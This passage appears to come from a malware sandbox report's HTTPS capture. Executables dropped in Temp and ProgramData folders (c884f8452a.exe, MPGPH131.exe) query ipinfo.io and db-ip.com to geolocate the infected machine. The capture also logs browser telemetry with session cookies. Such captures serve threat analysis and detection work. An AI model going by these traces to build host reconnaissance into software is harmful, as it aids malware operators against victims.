2024-04-19 01:29:24 UTC	1255	IN	Data Raw: ff ff ff ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff fa c8 aa ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd ea fd fd fd fa ff ff ff ff ff ff ff ff ff ff ff ff 07 bd fb ff 05 bc fb ff 05 bc fb ff 05 bc fb ff 7d dc fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f9 c1 9f ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd f9 fd fd fd fa ff ff ff ff ff ff ff ff ff ff ff ff 07 bd fb ff 05 bc fb ff 05 bc fb ff 05 bc fb ff 7d dc fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: BBBBBBBBBBB}BBBBBBBBBBB}
2024-04-19 01:29:24 UTC	1117	IN	Data Raw: ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 81 8a f2 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 8a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 0b fd fd fd d5 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff b5 ba f7 ff 3e 4b eb ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 3f 4c eb ff ba bf f8 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd d2 fe fe fe 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 26 fd fd fd eb ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: 5C5C5C5C5C5C5C5C5C5C5C5C5C5C>K5C5C5C5C5C5C5C5C5C5C5C5C?L&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49766	34.117.186.192	443	5596	C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 01:29:25 UTC	237	OUT	GET /widget/demo/81.181.57.52 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: ipinfo.io
2024-04-19 01:29:25 UTC	513	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Fri, 19 Apr 2024 01:29:25 GMT content-type: application/json; charset=utf-8 Content-Length: 980 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 2 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-19 01:29:25 UTC	742	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 31 2e 31 38 31 2e 35 37 2e 35 32 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 31 2e 31 38 31 2e 35 37 2e 35 32 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 41 74 6c 61 6e 74 61 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 47 65 6f 72 67 69 61 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 33 33 2e 37 34 39 30 2c 2d 38 34 2e 33 38 38 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 32 31 32 32 33 38 20 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 0a 20 20 20 20 22 70 6f 73 74 61 6c 22 3a 20 22 33 30 33 30 32 22 2c 0a 20 20 20 20 22 74 69 6d 65 7a 6f 6e 65 22 3a 20 22 41 6d 65 72 69 63 61 2f Data Ascii: { "input": "81.181.57.52", "data": { "ip": "81.181.57.52", "city": "Atlanta", "region": "Georgia", "country": "US", "loc": "33.7490,-84.3880", "org": "AS212238 Datacamp Limited", "postal": "30302", "timezone": "America/
2024-04-19 01:29:25 UTC	238	IN	Data Raw: 61 64 64 72 65 73 73 22 3a 20 22 41 76 65 72 65 73 63 75 20 4d 61 72 65 73 61 6c 20 38 2d 31 30 2c 20 42 75 63 68 61 72 65 73 74 2c 20 52 6f 6d 61 6e 69 61 22 2c 0a 20 20 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 52 4f 22 2c 0a 20 20 20 20 20 20 22 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 2d 62 69 6e 62 6f 78 40 72 6e 63 2e 72 6f 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 41 62 75 73 65 20 63 6f 6e 74 61 63 74 20 72 6f 6c 65 20 6f 62 6a 65 63 74 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 31 2e 31 38 31 2e 34 38 2e 30 2f 32 30 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 34 30 20 33 37 38 20 36 30 30 20 30 30 30 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: address": "Averescu Maresal 8-10, Bucharest, Romania", "country": "RO", "email": "abuse-binbox@rnc.ro", "name": "Abuse contact role object", "network": "81.181.48.0/20", "phone": "+40 378 600 000" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49767	104.26.5.15	443	5596	C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 01:29:25 UTC	261	OUT	GET /demo/home.php?s=81.181.57.52 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: db-ip.com
2024-04-19 01:29:25 UTC	658	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 01:29:25 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close x-iplb-request-id: AC471F14:8F6A_93878F2E:0050_6621C8F5_8C5CE11:7B63 x-iplb-instance: 59128 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=40EZI3UxYuLiq8VL6%2Bes3Q%2BM%2B0dTqMTPs8i1QNBSN6UaMNLsSehMQfcWAPW9buJ6v%2BmHOoXAcvcN7VvvUYt2gADGV0Q7PnE8rY8MMscZ97Jq4qtvDGlGwl%2FrcA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87691fa03f16ad6e-ATL alt-svc: h3=":443"; ma=86400
2024-04-19 01:29:25 UTC	85	IN	Data Raw: 34 66 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 64 65 6d 6f 49 6e 66 6f 22 3a 7b 22 65 72 72 6f 72 22 3a 22 6f 76 65 72 20 71 75 65 72 79 20 6c 69 6d 69 74 2c 20 70 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 22 7d 7d 0d 0a Data Ascii: 4f{"status":"ok","demoInfo":{"error":"over query limit, please try again later"}}
2024-04-19 01:29:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49776	34.117.186.192	443	4012	C:\ProgramData\MPGPH131\MPGPH131.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 01:29:30 UTC	237	OUT	GET /widget/demo/81.181.57.52 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: ipinfo.io
2024-04-19 01:29:31 UTC	513	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Fri, 19 Apr 2024 01:29:30 GMT content-type: application/json; charset=utf-8 Content-Length: 980 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 2 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-19 01:29:31 UTC	742	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 31 2e 31 38 31 2e 35 37 2e 35 32 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 31 2e 31 38 31 2e 35 37 2e 35 32 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 41 74 6c 61 6e 74 61 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 47 65 6f 72 67 69 61 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 33 33 2e 37 34 39 30 2c 2d 38 34 2e 33 38 38 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 32 31 32 32 33 38 20 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 0a 20 20 20 20 22 70 6f 73 74 61 6c 22 3a 20 22 33 30 33 30 32 22 2c 0a 20 20 20 20 22 74 69 6d 65 7a 6f 6e 65 22 3a 20 22 41 6d 65 72 69 63 61 2f Data Ascii: { "input": "81.181.57.52", "data": { "ip": "81.181.57.52", "city": "Atlanta", "region": "Georgia", "country": "US", "loc": "33.7490,-84.3880", "org": "AS212238 Datacamp Limited", "postal": "30302", "timezone": "America/
2024-04-19 01:29:31 UTC	238	IN	Data Raw: 61 64 64 72 65 73 73 22 3a 20 22 41 76 65 72 65 73 63 75 20 4d 61 72 65 73 61 6c 20 38 2d 31 30 2c 20 42 75 63 68 61 72 65 73 74 2c 20 52 6f 6d 61 6e 69 61 22 2c 0a 20 20 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 52 4f 22 2c 0a 20 20 20 20 20 20 22 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 2d 62 69 6e 62 6f 78 40 72 6e 63 2e 72 6f 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 41 62 75 73 65 20 63 6f 6e 74 61 63 74 20 72 6f 6c 65 20 6f 62 6a 65 63 74 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 31 2e 31 38 31 2e 34 38 2e 30 2f 32 30 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 34 30 20 33 37 38 20 36 30 30 20 30 30 30 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: address": "Averescu Maresal 8-10, Bucharest, Romania", "country": "RO", "email": "abuse-binbox@rnc.ro", "name": "Abuse contact role object", "network": "81.181.48.0/20", "phone": "+40 378 600 000" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49777	34.117.186.192	443	3436	C:\ProgramData\MPGPH131\MPGPH131.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 01:29:30 UTC	237	OUT	GET /widget/demo/81.181.57.52 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: ipinfo.io
2024-04-19 01:29:31 UTC	513	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Fri, 19 Apr 2024 01:29:31 GMT content-type: application/json; charset=utf-8 Content-Length: 980 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 2 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-19 01:29:31 UTC	742	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 31 2e 31 38 31 2e 35 37 2e 35 32 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 31 2e 31 38 31 2e 35 37 2e 35 32 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 41 74 6c 61 6e 74 61 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 47 65 6f 72 67 69 61 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 33 33 2e 37 34 39 30 2c 2d 38 34 2e 33 38 38 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 32 31 32 32 33 38 20 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 0a 20 20 20 20 22 70 6f 73 74 61 6c 22 3a 20 22 33 30 33 30 32 22 2c 0a 20 20 20 20 22 74 69 6d 65 7a 6f 6e 65 22 3a 20 22 41 6d 65 72 69 63 61 2f Data Ascii: { "input": "81.181.57.52", "data": { "ip": "81.181.57.52", "city": "Atlanta", "region": "Georgia", "country": "US", "loc": "33.7490,-84.3880", "org": "AS212238 Datacamp Limited", "postal": "30302", "timezone": "America/
2024-04-19 01:29:31 UTC	238	IN	Data Raw: 61 64 64 72 65 73 73 22 3a 20 22 41 76 65 72 65 73 63 75 20 4d 61 72 65 73 61 6c 20 38 2d 31 30 2c 20 42 75 63 68 61 72 65 73 74 2c 20 52 6f 6d 61 6e 69 61 22 2c 0a 20 20 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 52 4f 22 2c 0a 20 20 20 20 20 20 22 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 2d 62 69 6e 62 6f 78 40 72 6e 63 2e 72 6f 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 41 62 75 73 65 20 63 6f 6e 74 61 63 74 20 72 6f 6c 65 20 6f 62 6a 65 63 74 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 31 2e 31 38 31 2e 34 38 2e 30 2f 32 30 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 34 30 20 33 37 38 20 36 30 30 20 30 30 30 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: address": "Averescu Maresal 8-10, Bucharest, Romania", "country": "RO", "email": "abuse-binbox@rnc.ro", "name": "Abuse contact role object", "network": "81.181.48.0/20", "phone": "+40 378 600 000" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49780	104.26.5.15	443	4012	C:\ProgramData\MPGPH131\MPGPH131.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 01:29:31 UTC	261	OUT	GET /demo/home.php?s=81.181.57.52 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: db-ip.com
2024-04-19 01:29:31 UTC	656	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 01:29:31 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close x-iplb-request-id: AC454677:A6C4_93878F2E:0050_6621C8FB_8C5CEC0:7B63 x-iplb-instance: 59128 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=43QWkFA%2F3Av16BFGdAX3o4zJ%2Br7piyKLQ4Gxj488FcJNpbLaCJCq6lVq21O8%2BqR24jPMMJsgAf0ksmz06Q4zifVi2tOT%2BtB2N2jhcsKZlKt7gQlTA1imUEk1PA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87691fc37bb66737-ATL alt-svc: h3=":443"; ma=86400
2024-04-19 01:29:31 UTC	85	IN	Data Raw: 34 66 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 64 65 6d 6f 49 6e 66 6f 22 3a 7b 22 65 72 72 6f 72 22 3a 22 6f 76 65 72 20 71 75 65 72 79 20 6c 69 6d 69 74 2c 20 70 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 22 7d 7d 0d 0a Data Ascii: 4f{"status":"ok","demoInfo":{"error":"over query limit, please try again later"}}
2024-04-19 01:29:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49782	104.26.5.15	443	3436	C:\ProgramData\MPGPH131\MPGPH131.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 01:29:31 UTC	261	OUT	GET /demo/home.php?s=81.181.57.52 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: db-ip.com
2024-04-19 01:29:31 UTC	652	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 01:29:31 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close x-iplb-request-id: AC471E7B:AE72_93878F2E:0050_6621C8FB_8C855AD:4F34 x-iplb-instance: 59215 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BBfRY8SqAOTYOvaEvDvIiqVAgXOKIBXwzk64bfoyNN1uD6GUSCCTo%2Fab7iHZZbBGAHmICgCRFdPI1b6uns7ehItwpjbOEezlzD4JsMkP09qiCGhAohmqQHubSA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87691fc40b5a53ee-ATL alt-svc: h3=":443"; ma=86400
2024-04-19 01:29:31 UTC	85	IN	Data Raw: 34 66 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 64 65 6d 6f 49 6e 66 6f 22 3a 7b 22 65 72 72 6f 72 22 3a 22 6f 76 65 72 20 71 75 65 72 79 20 6c 69 6d 69 74 2c 20 70 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 22 7d 7d 0d 0a Data Ascii: 4f{"status":"ok","demoInfo":{"error":"over query limit, please try again later"}}
2024-04-19 01:29:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49789	74.125.138.101	443	7292	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 01:29:32 UTC	549	OUT	OPTIONS /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: x-goog-authuser Origin: https://accounts.google.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-19 01:29:32 UTC	520	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Max-Age: 86400 Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web,authorization,origin,x-goog-authuser Content-Type: text/plain; charset=UTF-8 Date: Fri, 19 Apr 2024 01:29:32 GMT Server: Playlog Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49791	74.125.138.101	443	7292	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 01:29:32 UTC	1298	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 927 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-Type: text/plain;charset=UTF-8 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" X-Goog-AuthUser: 0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.google.com X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=513=DL6Us8jAPrwCCKarlTw2RsBHsg-PZZE0_IVMLOmld8Vg4EMZhTyE_65f9B0OK-p44_4Uk-puC2a1J_sCfoJnyAtSeJNyRbiKB8AiKkQJAbADm2J1hujbY6LjrFBfHJLMH2_5Lm7sfqr7tbq8PbRvtYkxosEGP0PKBUVLfjHGngA
2024-04-19 01:29:32 UTC	927	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 34 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 35 35 38 2c 5b 5b 22 31 37 31 33 34 39 30 31 36 31 30 30 30 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[4,0,0,0,0]]],558,[["1713490161000",null,null,null,
2024-04-19 01:29:32 UTC	925	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=513=FAR9xw05PYMKi-rL5fgDcMmA3WtllB1CX3U0TQp-ac0aw4OdCXywDmx5f1jGU049Rg-Gx1ncQvL1aX2EByz9BGVRy2z67UdcNvUHQpiFDtfc7hlZfv0TYd6c8WUGzwsVwIaRfByZ-4s0Gl-WscaQ2HFH7yRIDo4q9mTYo3kysTQ; expires=Sat, 19-Oct-2024 01:29:32 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Fri, 19 Apr 2024 01:29:32 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Fri, 19 Apr 2024 01:29:32 GMT Connection: close Transfer-Encoding: chunked
2024-04-19 01:29:32 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-04-19 01:29:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49801	40.126.29.15	443

Timestamp	Bytes transferred	Direction	Data
2024-04-19 01:29:39 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-04-19 01:29:39 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
